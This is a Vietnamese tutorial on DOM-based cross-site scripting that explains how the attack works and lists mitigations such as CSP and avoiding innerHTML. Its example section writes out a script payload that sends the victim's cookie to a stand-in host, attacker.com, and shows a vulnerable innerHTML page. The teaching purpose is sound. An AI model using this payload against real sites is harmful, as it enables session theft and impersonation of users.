Tổng quan về DOM-Based Cross Site Scripting (DOM-XSS)
DOM-based XSS là một biến thể của cả persistent và reflected XSS. Trong DOM-based XSS attack, chuỗi độc hại không thực sự được xử lý bởi trình duyệt nạn nhân cho đến khi JavaScript hợp pháp của website được thực thi. Trong các persistent và reflected XSS attack, máy chủ sẽ chèn tập lệnh độc hại vào trang để gửi phản hồi cho nạn nhân. Khi trình duyệt nạn nhân nhận được phản hồi, nó nhận tập lệnh độc hại là một phần của nội dung của trang và tự động thực thi như với bất kỳ tập lệnh nào khác.
Tuy nhiên, trong DOM-based XSS attack, không có tập lệnh độc hại nào được chèn vào trang; tập lệnh duy nhất được tự động thực thi trong khi tải trang là một phần hợp pháp của trang. Vấn đề là tập lệnh hợp pháp này sử dụng dữ liệu của người dùng để thêm HTML vào trang. Vì chuỗi độc hại được chèn vào trang bằng cách sử dụng innerHTML, nên nó được phân tích cú pháp dưới dạng HTML, khiến tập lệnh độc hại được thực thi.
Khi các web application trở nên tiên tiến hơn, số lượng HTML ngày càng tăng được tạo bởi JavaScript ở phía máy khách thay vì máy chủ. Bất cứ lúc nào nội dung cần phải được thay đổi mà không làm mới toàn bộ trang, cập nhật phải được thực hiện bằng JavaScript. Đáng chú ý nhất, đây là trường hợp khi một trang được cập nhật sau một AJAX request.
Điều này có nghĩa là các lỗ hổng XSS có thể xuất hiện không chỉ trong server-side code của trang web mà còn trong client-side JavaScript code. Do đó, ngay cả server-side code an toàn, client-side code vẫn có thể bao gồm đầu vào không an toàn của người dùng. Nếu điều này xảy ra, client-side code đã kích hoạt một cuộc tấn công XSS mà không có lỗi của server-side code. Có một trường hợp đặc biệt của DOM-based XSS, trong đó chuỗi độc hại không bao giờ được gửi đến server: khi chuỗi độc hại được chứa trong một mã định danh phân đoạn URL (bất cứ thứ gì sau ký tự #). Các trình duyệt không gửi phần URL này đến các máy chủ, vì vậy trang web không có cách nào truy cập nó bằng server-side code. Tuy nhiên, client-side code có quyền truy cập vào nó và do đó có thể gây ra lỗ hổng XSS bằng cách xử lý nó một cách không an toàn. Điều này không giới hạn ở các định danh phân đoạn, vì nó có thể áp dụng cho đầu vào của người dùng được xử lý ở phía client (phổ biến trong các frameworks: angular, react,...).
Ví dụ về DOM-Based XSS
HTML là ngôn ngữ tag based language, có nghĩa là các thành phần trong trang web được phân biệt bằng thẻ. <a> tag biểu thị liên kết, <p> tag biểu thị văn bản kiểu đoạn văn và thứ chúng t quan tâm là <script> tag. Các tag này biểu thị JavaScript code và khi trình duyệt bắt gặp JavaScript code, nó sẽ biết thực thi bất kỳ mã nào trong tag đó.
Một luồng tấn công có thể có thể trông giống như sau:
Mã độc được chứa giữa các thẻ <script> </ script> trong mã sau
Kẻ tấn công tạo ra một số JavaScript code sai lệch và đặt nó như một phần của truy vấn tìm kiếm cho một trang web dễ bị tấn công.
Hey user, check this out: "http://website.com/search?keyword=<script>window.location='http://attacker.com/?cookie='+document.cookie</script>"
Nạn nhân sau đó bị kẻ tấn công lừa để nhấp vào liên kết, điều đó sẽ gửi mã độc như một phần của truy vấn tìm kiếm đến máy chủ.
GET "http://website.com/search?keyword=<script>window.location='http://attacker.com/?cookie='+document.cookie</script>"
Trang web không thực hiện kiểm tra chuỗi truy vấn (hoặc máy chủ không bao giờ thực sự nhận được chuỗi truy vấn) và tạo trang tìm kiếm cho chuỗi truy vấn. Trang web trả về phản hồi mà không có chuỗi tìm kiếm trong phần thân HTML
<html>
<h1> You Searched for:</h1>
<div id ="searchquery"> </div>
<script>
var keyword = location.search.substring(3);
document.querySelector('searchquery').innerHTML = keyword;
<script>
</html>
Trình duyệt sau đó thực thi các tập lệnh hợp pháp. Việc thêm html giữa hai thẻ <div> với id "searchquery"
(document.querySelector (). InternalHTML thực hiện điều này). HTML được thêm vào là mã độc đánh cắp cookie của người dùng
<html>
<h1> You Searched for:</h1>
<div id ="searchquery"><script>window.location='http://attacker.com/?cookie='+document.cookie</script> </div>
<script>
var keyword = location.search.substring(3);
document.querySelector('searchquery').innerHTML = keyword;
<script>
</html>
Trình duyệt thực thi code mới và gửi yêu cầu nhận đến máy chủ kẻ tấn công với cookie của người dùng. Kẻ tấn công sau đó có thể sử dụng cookie để xác định dữ liệu cá nhân và/ hoặc mạo danh người dùng tại trang web hợp pháp.
GET "http://attacker.com/?cookie=user-cookie"
Giảm thiểu DOM-Based XSS
Server-Side
Chống lại các DOM-based XSS attack bằng cách kiểm tra JavaScript không diễn giải các đoạn URI theo cách không an toàn.
- Sử dụng JavaScript Framework:
Các Frameworks như Ember, AngularJS và React sử dụng các template đã kiểm tra các cuộc tấn công XSS có thể xảy ra và làm sạch input của người dùng.
- Audit Code cẩn thận:
Nếu bạn đang sử dụng native DOM APIs, hãy tránh sử dụng các thuộc tính và chức năng sau: InnerHTML, outerHTML, document.write
Thay vào đó, hãy đặt nội dung văn bản trong các tag bất cứ nơi nào có thể: InnerText, textContent
- Chính sách bảo mật nội dung
Các trình duyệt hiện đại hỗ trợ Chính sách bảo mật nội dung cho phép tác giả của một trang web kiểm soát nơi JavaScript (và các tài nguyên khác) được tải và thực thi. XSS attack tức là kẻ tấn công có thể chạy các tập lệnh độc hại trên trang web của người dùng - bằng cách tiêm các <script> tag nội tuyến vào đâu đó trong <html> tag của trang hoặc bằng cách lừa trình duyệt tải JavaScript từ domain độc hại của bên thứ 3. Bằng cách đặt chính sách bảo mật nội dung trong response header, bạn có thể yêu cầu trình duyệt không bao giờ thực thi JavaScript nội tuyến và khóa các miền nào có thể lưu trữ JavaScript.
Đây là một giải pháp được đề xuất mà tất cả các nhà xây dựng trang web nên tuân theo.
Client-Side
Giảm thiểu Client side DOM-based XSS chỉ có thể thông qua việc cập nhật trình duyệt hỗ trợ hạn chế chính sách CORS và CSP mới nhất, ngăn người dùng nhấp vào các liên kết đáng ngờ.
Nguồn: tech.vccloud.vn